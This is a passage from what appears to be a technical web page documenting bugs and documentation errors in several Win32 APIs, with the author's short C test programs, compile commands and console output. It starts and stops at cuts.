CL.EXE /Dblunder blunder.c advapi32.lib kernel32.lib
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c blunder.c(47) : warning C4090: 'initializing' : different 'const' qualifiers blunder.c(49) : warning C4090: 'initializing' : different 'const' qualifiers blunder.c(60) : warning C4090: 'function' : different 'const' qualifiers blunder.c(80) : warning C4090: 'function' : different 'const' qualifiers blunder.c(125) : warning C4090: 'function' : different 'const' qualifiers Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj advapi32.lib kernel32.lib
Execute the console application blunder.exe
built in
step 16. with elevated access rights and evaluate its exit
code:
.\blunder.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
0x0 (WIN32: 0 ERROR_SUCCESS) -- 0 (0) Error message text: The operation completed successfully. CertUtil: -error command completed successfully.Note: the Win32 function
SetSecurityInfo()
succeeds and works properly – most obviously the
SetNamedSecurityInfo()
function opens files without the
FILE_FLAG_BACKUP_SEMANTICS
flag!
Compile and link the source file blunder.c
overwritten
in step 11. a last time, now with the preprocessor macros
BLUNDER
and blunder
defined:
CL.EXE /DBLUNDER /Dblunder blunder.c advapi32.lib kernel32.lib
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c blunder.c(47) : warning C4090: 'initializing' : different 'const' qualifiers blunder.c(49) : warning C4090: 'initializing' : different 'const' qualifiers blunder.c(60) : warning C4090: 'function' : different 'const' qualifiers blunder.c(80) : warning C4090: 'function' : different 'const' qualifiers blunder.c(125) : warning C4090: 'function' : different 'const' qualifiers blunder.c(131) : warning C4090: 'function' : different 'const' qualifiers Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj advapi32.lib kernel32.lib
Execute the console application blunder.exe
built in
step 18. with elevated access rights and evaluate its exit
code:
.\blunder.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
0x0 (WIN32: 0 ERROR_SUCCESS) -- 0 (0) Error message text: The operation completed successfully. CertUtil: -error command completed successfully.
GetModuleHandle()
states:
Retrieves a module handle for the specified module. The module must have been loaded by the calling process.The documentation for the Win32 function[…]
[…]HMODULE GetModuleHandle( [in, optional] LPCTSTR lpModuleName );
[in, optional] lpModuleName
[…]
If this parameter is NULL, GetModuleHandle returns a handle to the file used to create the calling process (.exe file).
GetModuleHandleEx()
states:
Retrieves a module handle for the specified module and increments the module's reference count unless GET_MODULE_HANDLE_EX_FLAG_UNCHANGED_REFCOUNT is specified. The module must have been loaded by the calling process.OUCH⁰: both functions don’t return a handle to the[…]
[…]BOOL GetModuleHandleEx( [in] DWORD dwFlags, [in, optional] LPCTSTR lpModuleName, [out] HMODULE *phModule );
[in, optional] lpModuleName
[…]
If this parameter is NULL, the function returns a handle to the file used to create the calling process (.exe file).
.exe filefrom which a process was loaded, but the handle alias load address of the process, equal to the address of the symbol
__ImageBase
supplied by the linker!
Create the text file blunder.c
with the following
content in an arbitrary, preferable empty directory:
// Copyleft © 2009-2025, Stefan Kanthak <stefan.kanthak@nexgo.de>
#define STRICT
#define UNICODE
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
extern const IMAGE_DOS_HEADER __ImageBase;
__declspec(noreturn)
VOID CDECL wmainCRTStartup(VOID)
{
#ifndef BLUNDER
HMODULE hProcess = GetModuleHandle((LPCWSTR) NULL);
DWORD dwError = (DWORD_PTR) hProcess ^ (DWORD_PTR) &__ImageBase;
#else
HMODULE hProcess;
DWORD dwError = ERROR_SUCCESS;
if (!GetModuleHandleEx(GET_MODULE_HANDLE_EX_FLAG_UNCHANGED_REFCOUNT,
(LPCWSTR) NULL,
&hProcess)
|| !CloseHandle(hProcess))
dwError = GetLastError();
#endif
ExitProcess(dwError);
}
Compile and link the source file blunder.c
created in
step 1. a first time:
SET CL=/W4 /Zl SET LINK=/ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE CL.EXE blunder.c kernel32.libNote: the command lines can be copied and pasted as block into a Command Processor window.
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj kernel32.lib
Execute the console application blunder.exe
built in
step 2. and evaluate its exit code:
.\blunder.exe ECHO %ERRORLEVEL%
0
Compile and link the source file blunder.c
created in
step 1. a second time, now with the preprocessor macro
BLUNDER
defined:
CL.EXE /DBLUNDER blunder.c kernel32.lib
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj kernel32.lib
Execute the console application blunder.exe
built in
step 4. and evaluate its exit code:
.\blunder.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
0x6 (WIN32: 6 ERROR_INVALID_HANDLE) -- 6 (6)
Error message text: The handle is invalid.
CertUtil: -error command completed successfully.
GetWindowModuleFileName()
states:
Retrieves the full path and file name of the module associated with the specified window handle.CAVETA: this documentation fails to specify error conditions and restrictions!
The MSKB article 228469 but states:
GetWindowModuleFileName and GetModuleFileName correctly retrieve information about windows and modules in the calling process. In Windows 95 and 98, they return information about windows and modules in other processes. However, in Windows NT 4.0 and Windows 2000, since module handles are no longer shared by all processes as they were on Windows 95 and 98, these APIs do not return information about windows and modules in other processes.OUCH⁰: Windows NT 4.0 and Windows 2000 were released in the last millennium, but nobody at Microsoft was able to add the information published in the MSKB article 228469 to the documentation for the Win32 function
GetWindowModuleFileName()
for more than 25 (in words: twenty-five) years
– it's a real shame!
Create the text file blunder.c
with the following
content in an arbitrary, preferable empty directory:
// Copyright © 2004-2025, Stefan Kanthak <stefan.kanthak@nexgo.de>
#define STRICT
#define UNICODE
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
__declspec(safebuffers)
BOOL CDECL PrintConsole(HANDLE hConsole, [SA_FormatString(Style="printf")] LPCWSTR lpFormat, ...)
{
WCHAR szOutput[1024];
DWORD dwOutput;
DWORD dwConsole;
va_list vaInput;
va_start(vaInput, lpFormat);
dwOutput = wvsprintf(szOutput, lpFormat, vaInput);
va_end(vaInput);
if (dwOutput == 0UL)
return FALSE;
if (!WriteConsole(hConsole, szOutput, dwOutput, &dwConsole, NULL))
return FALSE;
return dwConsole == dwOutput;
}
const FARPROC fpWindow[] = {GetActiveWindow,
GetConsoleWindow,
GetDesktopWindow,
GetForegroundWindow,
GetOpenClipboardWindow,
GetShellWindow};
const LPCWSTR szWindow[] = {L"GetActiveWindow",
L"GetConsoleWindow",
L"GetDesktopWindow",
L"GetForegroundWindow",
L"GetOpenClipboardWindow",
L"GetShellWindow"};
__declspec(noreturn)
VOID CDECL wmainCRTStartup(VOID)
{
WCHAR szBlunder[MAX_PATH];
HWND hWindow;
DWORD dwWindow = 0UL;
DWORD dwError = ERROR_SUCCESS;
HANDLE hError = GetStdHandle(STD_ERROR_HANDLE);
if (hError == INVALID_HANDLE_VALUE)
dwError = GetLastError();
else
{
do
{
hWindow = (HWND) (fpWindow[dwWindow])();
if (hWindow == NULL)
PrintConsole(hError,
L"%ls() returned NULL\n",
szWindow[dwWindow]);
else
{
SetLastError(~0UL);
if (GetWindowModuleFileName(hWindow,
szBlunder,
sizeof(szBlunder) / sizeof(*szBlunder)) == 0UL)
PrintConsole(hError,
L"GetWindowModuleFileName(%ls(), …) returned error %lu\n",
szWindow[dwWindow], GetLastError());
else
PrintConsole(hError,
L"GetWindowModuleFileName(%ls(), …) returned error %lu and \'%ls\'\n",
szWindow[dwWindow], GetLastError(), szBlunder);
}
}
while (++dwWindow < sizeof(fpWindow) / sizeof(*fpWindow));
if (GetWindowModuleFileName(HWND_DESKTOP,
szBlunder,
sizeof(szBlunder) / sizeof(*szBlunder)) == 0UL)
PrintConsole(hError,
L"GetWindowModuleFileName(HWND_DESKTOP, …) returned error %lu\n",
dwError = GetLastError());
}
ExitProcess(dwError);
}
Compile and link the source file blunder.c
created in
step 1.:
SET CL=/W3 /Zl SET LINK=/ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE CL.EXE blunder.c kernel32.lib user32.libNote: the command lines can be copied and pasted as block into a Command Processor window.
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c blunder.c(32) : warning C4047: 'initializing' : 'const FARPROC' differs in levels of indirection from 'HWND (__stdcall *)(void)' blunder.c(33) : warning C4047: 'initializing' : 'const FARPROC' differs in levels of indirection from 'HWND (__stdcall *)(void)' blunder.c(34) : warning C4047: 'initializing' : 'const FARPROC' differs in levels of indirection from 'HWND (__stdcall *)(void)' blunder.c(35) : warning C4047: 'initializing' : 'const FARPROC' differs in levels of indirection from 'HWND (__stdcall *)(void)' blunder.c(36) : warning C4047: 'initializing' : 'const FARPROC' differs in levels of indirection from 'HWND (__stdcall *)(void)' blunder.c(37) : warning C4047: 'initializing' : 'const FARPROC' differs in levels of indirection from 'HWND (__stdcall *)(void)' Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj kernel32.lib user32.lib
Execute the console application blunder.exe
built in
step 2. and evaluate its exit code:
.\blunder.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
GetActiveWindow() returned NULL GetWindowModuleFileName(GetConsoleWindow(), …) returned error 0 and 'C:\Users\Stefan\Desktop\blunder.exe' GetWindowModuleFileName(GetDesktopWindow(), …) returned error 4294967295 GetWindowModuleFileName(GetForegroundWindow(), …) returned error 0 and 'C:\Users\Stefan\Desktop\blunder.exe' GetOpenClipboardWindow() returned NULL GetWindowModuleFileName(GetShellWindow(), …) returned error 4294967295 GetWindowModuleFileName(HWND_DESKTOP, …) returned error 1400 0x578 (WIN32: 1400 ERROR_INVALID_WINDOW_HANDLE) -- 1400 (1400) Error message text: Invalid window handle. CertUtil: -error command completed successfully.OUCH¹: for valid but foreign window handles except that of its console window, the Win32 function
GetWindowModuleFileName()
fails to set the last error code!
OUCH²: upon success it returns the pathname of the calling (console) application and resets the last error code!
Note: the Win32 error code 1400 alias
ERROR_INVALID_WINDOW_HANDLE
is expected – the preprocessor macro HWND_DESKTOP
is defined as ((HWND) 0)
alias NULL
!
GetFileMUIInfo()
states:
Retrieves resource-related information about a file.CAVEAT: the highlighted statement of the documentation cited above is but misleading and wrong – the initial call of the Win32 function[…]BOOL GetFileMUIInfo( [in] DWORD dwFlags, [in] PCWSTR pcwszFilePath, [in, out, optional] PFILEMUIINFO pFileMUIInfo, [in, out] DWORD *pcbFileMUIInfo );
[in, out, optional] pFileMUIInfo
[…]
Alternatively, the application can set this parameter to NULL if pcbFileMUIInfo is set to 0. In this case, the function retrieves the required size for the information buffer in pcbFileMUIInfo.
[…]
[in, out] pcbFileMUIInfo
[…]
Alternatively, the application can set this parameter to 0 if it sets NULL in pFileMUIInfo. In this case, the function retrieves the required file information buffer size in pcbFileMUIInfo. To allocate the correct amount of memory, this value should be added to the size of theFILEMUIINFO
structure itself.
GetFileMUIInfo()
for any module, with address and size of the buffer given as
NULL
and 0, fails (expected and intended) with
Win32 error code 122 alias
ERROR_INSUFFICIENT_BUFFER
,
and always returns 84 as (additional) buffer size;
a buffer of sizeof(FILEMUIINO)
+ 84 bytes is
but not always sufficient, so subsequent calls can fail again with
Win32 error code 122 alias
ERROR_INSUFFICIENT_BUFFER
!
Note: implemented properly, the first call would return the correct (full) buffer size and grant a successful second call, as documented (for example) in the MSDN article Retrieving Data of Unknown Length – it’s a shame that Microsoft’s developers ignore their own company’s documentation!
Create the text file blunder.c
with the following
content in an arbitrary, preferable empty directory:
// Copyright © 2009-2025, Stefan Kanthak <stefan.kanthak@nexgo.de>
#define STRICT
#define UNICODE
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
__declspec(safebuffers)
BOOL CDECL PrintConsole(HANDLE hConsole, [SA_FormatString(Style="printf")] LPCWSTR lpFormat, ...)
{
WCHAR szOutput[1024];
DWORD dwOutput;
DWORD dwConsole;
va_list vaInput;
va_start(vaInput, lpFormat);
dwOutput = wvsprintf(szOutput, lpFormat, vaInput);
va_end(vaInput);
if (dwOutput == 0UL)
return FALSE;
if (!WriteConsole(hConsole, szOutput, dwOutput, &dwConsole, NULL))
return FALSE;
return dwConsole == dwOutput;
}
const WCHAR szModule[] = L"C:\\Windows\\RegEdit.exe";
__declspec(noreturn)
VOID CDECL wmainCRTStartup(VOID)
{
PFILEMUIINFO lpFileMUIInfo = NULL;
DWORD dwFileMUIInfo = 0UL;
DWORD dwError;
HANDLE hError = GetStdHandle(STD_ERROR_HANDLE);
if (hError == INVALID_HANDLE_VALUE)
dwError = GetLastError();
else
if (GetFileMUIInfo(MUI_QUERY_CHECKSUM | MUI_QUERY_LANGUAGE_NAME | MUI_QUERY_RESOURCE_TYPES | MUI_QUERY_TYPE,
szModule, lpFileMUIInfo, &dwFileMUIInfo))
PrintConsole(hError,
L"GetFileMUIInfo() returned success %lu and buffer size %lu for module \'%ls\'\n",
dwError = GetLastError(), dwFileMUIInfo, szModule);
else
{
PrintConsole(hError,
L"GetFileMUIInfo() returned error %lu and buffer size %lu for module \'%ls\'\n",
dwError = GetLastError(), dwFileMUIInfo, szModule);
dwFileMUIInfo += sizeof(FILEMUIINFO);
while (dwError == ERROR_INSUFFICIENT_BUFFER)
{
lpFileMUIInfo = LocalAlloc(LPTR, dwFileMUIInfo);
if (lpFileMUIInfo == NULL)
PrintConsole(hError,
L"LocalAlloc() returned error %lu\n",
dwError = GetLastError());
else
{
lpFileMUIInfo->dwSize = dwFileMUIInfo;
lpFileMUIInfo->dwVersion = MUI_FILEINFO_VERSION;
if (GetFileMUIInfo(MUI_QUERY_CHECKSUM | MUI_QUERY_LANGUAGE_NAME | MUI_QUERY_RESOURCE_TYPES | MUI_QUERY_TYPE,
szModule, lpFileMUIInfo, &dwFileMUIInfo))
PrintConsole(hError,
L"GetFileMUIInfo() returned success %lu and buffer size %lu for module \'%ls\'\n",
dwError = GetLastError(), dwFileMUIInfo, szModule);
else
PrintConsole(hError,
L"GetFileMUIInfo() returned error %lu and buffer size %lu for module \'%ls\'\n",
dwError = GetLastError(), dwFileMUIInfo, szModule);
if (LocalFree(lpFileMUIInfo) != NULL)
PrintConsole(hError,
L"LocalFree() returned error %lu\n",
dwError = GetLastError());
}
}
}
ExitProcess(dwError);
}
Compile and link the source file blunder.c
created in
step 1.:
SET CL=/W4 /Zl SET LINK=/ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE CL.EXE blunder.c kernel32.lib user32.libNote: the command lines can be copied and pasted as block into a Command Processor window.
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj kernel32.lib user32.lib
Execute the console application blunder.exe
built in
step 2.:
.\blunder.exe
GetFileMUIInfo() returned error 122 and buffer size 84 for module 'C:\Windows\RegEdit.exe' GetFileMUIInfo() returned error 122 and buffer size 166 for module 'C:\Windows\RegEdit.exe' GetFileMUIInfo() returned error 122 and buffer size 180 for module 'C:\Windows\RegEdit.exe' GetFileMUIInfo() returned success 0 and buffer size 180 for module 'C:\Windows\RegEdit.exe'
GetSystemPreferredUILanguages()
specifies:
Retrieves the system preferred UI languages. […]The documentation for the Win32 function[…]BOOL GetSystemPreferredUILanguages( [in] DWORD dwFlags, [out] PULONG pulNumLanguages, [out, optional] PZZWSTR pwszLanguagesBuffer, [in, out] PULONG pcchLanguagesBuffer );
[out] pulNumLanguages
Pointer to the number of languages retrieved in pwszLanguagesBuffer.
[out, optional] pwszLanguagesBuffer
Optional. Pointer to a buffer in which this function retrieves an ordered, null-delimited system preferred UI languages list, in the format specified by dwFlags. This list ends with two null characters.
Alternatively if this parameter is set to NULL and pcchLanguagesBuffer is set to 0, the function retrieves the required size of the language buffer in pcchLanguagesBuffer. The required size includes the two null characters.
[in, out] pcchLanguagesBuffer
Pointer to the size, in characters, for the language buffer indicated by pwszLanguagesBuffer. On successful return from the function, the parameter contains the size of the retrieved language buffer.
Alternatively if this parameter is set to 0 and pwszLanguagesBuffer is set to NULL, the function retrieves the required size of the language buffer in pcchLanguagesBuffer.
[…]
Returns TRUE if successful or FALSE otherwise. […]
GetUserPreferredUILanguages()
specifies:
Retrieves information about the display language setting. […]The documentation for the Win32 function[…]BOOL GetUserPreferredUILanguages( [in] DWORD dwFlags, [out] PULONG pulNumLanguages, [out, optional] PZZWSTR pwszLanguagesBuffer, [in, out] PULONG pcchLanguagesBuffer );
[out] pulNumLanguages
Pointer to the number of languages retrieved in pwszLanguagesBuffer.
[out, optional] pwszLanguagesBuffer
Optional. Pointer to a buffer in which this function retrieves an ordered, null-delimited display language list, in the format specified by dwflags. This list ends with two null characters.
Alternatively if this parameter is set to NULL and pcchLanguagesBuffer is set to 0, the function retrieves the required size of the language buffer in pcchLanguagesBuffer. The required size includes the two null characters.
[in, out] pcchLanguagesBuffer
Pointer to the size, in characters, for the language buffer indicated by pwszLanguagesBuffer. On successful return from the function, the parameter contains the size of the retrieved language buffer.
Alternatively if this parameter is set to 0 and pwszLanguagesBuffer is set to NULL, the function retrieves the required size of the language buffer in pcchLanguagesBuffer.
[…]
Returns TRUE if successful or FALSE otherwise. […]
GetThreadPreferredUILanguages()
specifies:
Retrieves the thread preferred UI languages for the current thread. […]The documentation for the Win32 function[…]BOOL GetThreadPreferredUILanguages( [in] DWORD dwFlags, [out] PULONG pulNumLanguages, [out, optional] PZZWSTR pwszLanguagesBuffer, [in, out] PULONG pcchLanguagesBuffer );
[out] pulNumLanguages
Pointer to the number of languages retrieved in pwszLanguagesBuffer.
[out, optional] pwszLanguagesBuffer
Optional. Pointer to a buffer in which this function retrieves an ordered, null-delimited thread preferred UI languages list, in the format specified by dwFlags. This list ends with two null characters.
Alternatively if this parameter is set to NULL and pcchLanguagesBuffer is set to 0, the function retrieves the required size of the language buffer in pcchLanguagesBuffer. The required size includes the two null characters.
[in, out] pcchLanguagesBuffer
Pointer to the size, in characters, for the language buffer indicated by pwszLanguagesBuffer. On successful return from the function, the parameter contains the size of the retrieved language buffer.
Alternatively if this parameter is set to 0 and pwszLanguagesBuffer is set to NULL, the function retrieves the required size of the language buffer in pcchLanguagesBuffer.
[…]
Returns TRUE if successful or FALSE otherwise. […]
GetProcessPreferredUILanguages()
states:
Retrieves the process preferred UI languages. […]Note: the first 3 functions were introduced with Windows Vista, the last function was introduced with Windows 7.[…]BOOL GetProcessPreferredUILanguages( [in] DWORD dwFlags, [out] PULONG pulNumLanguages, [out, optional] PZZWSTR pwszLanguagesBuffer, [in, out] PULONG pcchLanguagesBuffer );
[out] pulNumLanguages
Pointer to the number of languages retrieved in pwszLanguagesBuffer.
[out, optional] pwszLanguagesBuffer
Optional. Pointer to a double null-terminated multi-string buffer in which the function retrieves an ordered, null-delimited list in preference order, starting with the most preferable.
Alternatively if this parameter is set to NULL and pcchLanguagesBuffer is set to 0, the function retrieves the required size of the language buffer in pcchLanguagesBuffer. The required size includes the two null characters.
[in, out] pcchLanguagesBuffer
Pointer to the size, in characters, for the language buffer indicated by pwszLanguagesBuffer. On successful return from the function, the parameter contains the size of the retrieved language buffer.
Alternatively if this parameter is set to 0 and pwszLanguagesBuffer is set to NULL, the function retrieves the required size of the language buffer in pcchLanguagesBuffer.
[…]
Returns TRUE if successful or FALSE otherwise. […]
If the process preferred UI language list is empty or if the languages specified for the process are not valid, the function succeeds and returns an empty multistring in pwszLanguagesBuffer and 2 in the pcchLanguagesBuffer parameter.
Create the text file blunder.c
with the following
content in an arbitrary, preferable empty directory:
// Copyright © 2009-2025, Stefan Kanthak <stefan.kanthak@nexgo.de>
#define STRICT
#define UNICODE
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
__declspec(safebuffers)
BOOL CDECL PrintConsole(HANDLE hConsole, [SA_FormatString(Style="printf")] LPCWSTR lpFormat, ...)
{
WCHAR szOutput[1024];
DWORD dwOutput;
DWORD dwConsole;
va_list vaInput;
va_start(vaInput, lpFormat);
dwOutput = wvsprintf(szOutput, lpFormat, vaInput);
va_end(vaInput);
if (dwOutput == 0UL)
return FALSE;
if (!WriteConsole(hConsole, szOutput, dwOutput, &dwConsole, NULL))
return FALSE;
return dwConsole == dwOutput;
}
__declspec(noreturn)
VOID CDECL wmainCRTStartup(VOID)
{
WCHAR szBlunder[LOCALE_NAME_MAX_LENGTH + 1];
DWORD dwBlunder = 0UL;
DWORD dwCount = ~0UL;
DWORD dwError = ERROR_SUCCESS;
HANDLE hError = GetStdHandle(STD_ERROR_HANDLE);
if (hError == INVALID_HANDLE_VALUE)
dwError = GetLastError();
else
{
if (!GetSystemPreferredUILanguages(MUI_LANGUAGE_NAME,
&dwCount,
(LPWSTR) NULL,
&dwBlunder))
PrintConsole(hError,
L"GetSystemPreferredUILanguages() returned error %lu\n",
dwError = GetLastError());
else
PrintConsole(hError,
L"System\t%lu\t%lu\n",
dwCount, dwBlunder);
dwCount = ~0UL;
dwBlunder = 0UL;
if (!GetUserPreferredUILanguages(MUI_LANGUAGE_NAME,
&dwCount,
(LPWSTR) NULL,
&dwBlunder))
PrintConsole(hError,
L"GetUserPreferredUILanguages() returned error %lu\n",
dwError = GetLastError());
else
PrintConsole(hError,
L"User\t%lu\t%lu\n",
dwCount, dwBlunder);
dwCount = ~0UL;
dwBlunder = 0UL;
if (!GetProcessPreferredUILanguages(MUI_LANGUAGE_NAME,
&dwCount,
(LPWSTR) NULL,
&dwBlunder))
PrintConsole(hError,
L"GetProcessPreferredUILanguages() returned error %lu\n",
dwError = GetLastError());
else
PrintConsole(hError,
L"Process\t%lu\t%lu\n",
dwCount, dwBlunder);
dwCount = ~0UL;
dwBlunder = sizeof(szBlunder) / sizeof(*szBlunder);
if (!GetProcessPreferredUILanguages(MUI_LANGUAGE_NAME,
&dwCount,
szBlunder,
&dwBlunder))
PrintConsole(hError,
L"GetProcessPreferredUILanguages() returned error %lu\n",
dwError = GetLastError());
else
PrintConsole(hError,
L"Process\t%lu\t%lu\n",
dwCount, dwBlunder);
dwCount = ~0UL;
dwBlunder = 0UL;
if (!GetThreadPreferredUILanguages(MUI_LANGUAGE_NAME | MUI_THREAD_LANGUAGES,
&dwCount,
(LPWSTR) NULL,
&dwBlunder))
PrintConsole(hError,
L"GetThreadPreferredUILanguages() returned error %lu\n",
dwError = GetLastError());
else
PrintConsole(hError,
L"Thread\t%lu\t%lu\n",
dwCount, dwBlunder);
}
ExitProcess(dwError);
}
Compile and link the source file blunder.c
created in
step 1.:
SET CL=/W4 /Zl SET LINK=/ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE CL.EXE blunder.c kernel32.lib user32.libNote: the command lines can be copied and pasted as block into a Command Processor window.
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj kernel32.lib user32.lib
Execute the console application blunder.exe
built in
step 2.:
.\blunder.exe
System 1 7 User 1 7 Process 4294967295 2 Process 4294967295 2 Thread 0 2OUCH: the Win32 function
GetProcessPreferredUILanguages()
fails to set its output parameter *pulNumLanguages
to 0
if it retrieves an empty buffer!
GetDateFormat()
specifies:
Formats a date as a date string for a locale specified by the locale identifier. The function formats either a specified date or the local system date.The documentation for the Win32 function[…]
[…]int GetDateFormat( [in] LCID Locale, [in] DWORD dwFlags, [in, optional] const SYSTEMTIME *lpDate, [in, optional] LPCTSTR lpFormat, [out, optional] LPTSTR lpDateStr, [in] int cchDate );
Returns the number of characters written to the lpDateStr buffer if successful. If the cchDate parameter is set to 0, the function returns the number of characters required to hold the formatted date string, including the terminating null character.
The function returns 0 if it does not succeed. […]
GetTimeFormat()
specifies:
Formats time as a time string for a locale specified by identifier. The function formats either a specified time or the local system time.The documentation for the Win32 function[…]
[…]int GetTimeFormat( [in] LCID Locale, [in] DWORD dwFlags, [in, optional] const SYSTEMTIME *lpTime, [in, optional] LPCTSTR lpFormat, [out, optional] LPTSTR lpTimeStr, [in] int cchTime );
Returns the number of TCHAR values retrieved in the buffer indicated by lpTimeStr. If the cchTime parameter is set to 0, the function returns the size of the buffer required to hold the formatted time string, including a terminating null character.
This function returns 0 if it does not succeed. […]
GetDateFormatEx()
specifies:
Formats a date as a date string for a locale specified by name. The function formats either a specified date or the local system date.The documentation for the Win32 function[…]
[…]int GetDateFormatEx( [in, optional] LPCTSTR lpLocaleName, [in] DWORD dwFlags, [in, optional] const SYSTEMTIME *lpDate, [in, optional] LPCTSTR lpFormat, [out, optional] LPTSTR lpDateStr, [in] int cchDate, [in, optional] LPCTSTR lpCalendar );
Returns the number of characters written to the lpDateStr buffer if successful. If the cchDate parameter is set to 0, the function returns the number of characters required to hold the formatted date string, including the terminating null character.
This function returns 0 if it does not succeed. […]
GetTimeFormatEx()
specifies:
Formats time as a time string for a locale specified by name. The function formats either a specified time or the local system time.CAVEAT: Win32 functions which write a character string to a buffer typically return the number of characters except the terminating[…]
[…]int GetTimeFormatEx( [in, optional] LPCTSTR lpLocaleName, [in] DWORD dwFlags, [in, optional] const SYSTEMTIME *lpTime, [in, optional] LPCTSTR lpFormat, [out, optional] LPTSTR lpTimeStr, [in] int cchTime );
Returns the number of characters retrieved in the buffer indicated by lpTimeStr. If the cchTime parameter is set to 0, the function returns the size of the buffer required to hold the formatted time string, including a terminating null character.
This function returns 0 if it does not succeed. […]
NUL
character, even if not stated explicitly – the four functions
named above but return the number of characters
including the terminating NUL
character, without explicitly stating their unusual behaviour.
Retrieving Time and Date Information
GetDateFormat()
GetDateFormatEx()
GetTimeFormat()
GetTimeFormatEx()
Day, Month, Year, and Era Format Pictures
Day, Month, Year, and Era Format Pictures
Hour, Minute, and Second Format Pictures
Hour, Minute, and Second Format Pictures
Create the text file blunder.c
with the following
content in an arbitrary, preferable empty directory:
// Copyright © 2004-2025, Stefan Kanthak <stefan.kanthak@nexgo.de>
#define STRICT
#define UNICODE
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
__declspec(safebuffers)
BOOL CDECL PrintConsole(HANDLE hConsole, [SA_FormatString(Style="printf")] LPCWSTR lpFormat, ...)
{
WCHAR szOutput[1024];
DWORD dwOutput;
DWORD dwConsole;
va_list vaInput;
va_start(vaInput, lpFormat);
dwOutput = wvsprintf(szOutput, lpFormat, vaInput);
va_end(vaInput);
if (dwOutput == 0UL)
return FALSE;
if (!WriteConsole(hConsole, szOutput, dwOutput, &dwConsole, NULL))
return FALSE;
return dwConsole == dwOutput;
}
__declspec(noreturn)
VOID CDECL wmainCRTStartup(VOID)
{
SYSTEMTIME st;
INT niDate, niTime, niSize;
LPWSTR lpDate, lpTime;
WCHAR szDate[] = L"mm/dd/yyyy";
WCHAR szTime[] = L"hh:mm:ss";
DWORD dwError = ERROR_SUCCESS;
HANDLE hError = GetStdHandle(STD_ERROR_HANDLE);
if (hError == INVALID_HANDLE_VALUE)
dwError = GetLastError();
else
{
GetSystemTime(&st);
niDate = GetDateFormat(LOCALE_INVARIANT,
0UL,
&st,
szDate,
szDate,
sizeof(szDate) / sizeof(*szDate));
if (niDate == 0)
PrintConsole(hError,
L"GetDateFormat() returned error %lu\n",
dwError = GetLastError());
else
{
niSize = wcslen(szDate);
if (niSize != niDate)
PrintConsole(hError,
L"GetDateFormat() returned date \'%ls\' of %lu characters, but real string length is %lu characters\n",
szDate, niDate, niSize);
}
niTime = GetTimeFormat(LOCALE_INVARIANT,
0UL,
&st,
szTime,
szTime,
sizeof(szTime) / sizeof(*szTime));
if (niTime == 0)
PrintConsole(hError,
L"GetTimeFormat() returned error %lu\n",
dwError = GetLastError());
else
{
niSize = wcslen(szTime);
if (niSize != niTime)
PrintConsole(hError,
L"GetTimeFormat() returned time \'%ls\' of %lu characters, but real string length is %lu characters\n",
szTime, niTime, niSize);
}
niSize = GetDateFormatEx(LOCALE_NAME_INVARIANT,
DATE_LONGDATE,
&st,
(LPCWSTR) NULL,
(LPWSTR) NULL,
0,
(LPCWSTR) NULL);
if (niSize == 0)
PrintConsole(hError,
L"GetDateFormatEx() returned error %lu\n",
dwError = GetLastError());
else
{
lpDate = LocalAlloc(LPTR, niSize * sizeof(*lpDate));
if (lpDate == NULL)
PrintConsole(hError,
L"LocalAlloc() returned error %lu\n",
dwError = GetLastError());
else
{
niDate = GetDateFormatEx(LOCALE_NAME_INVARIANT,
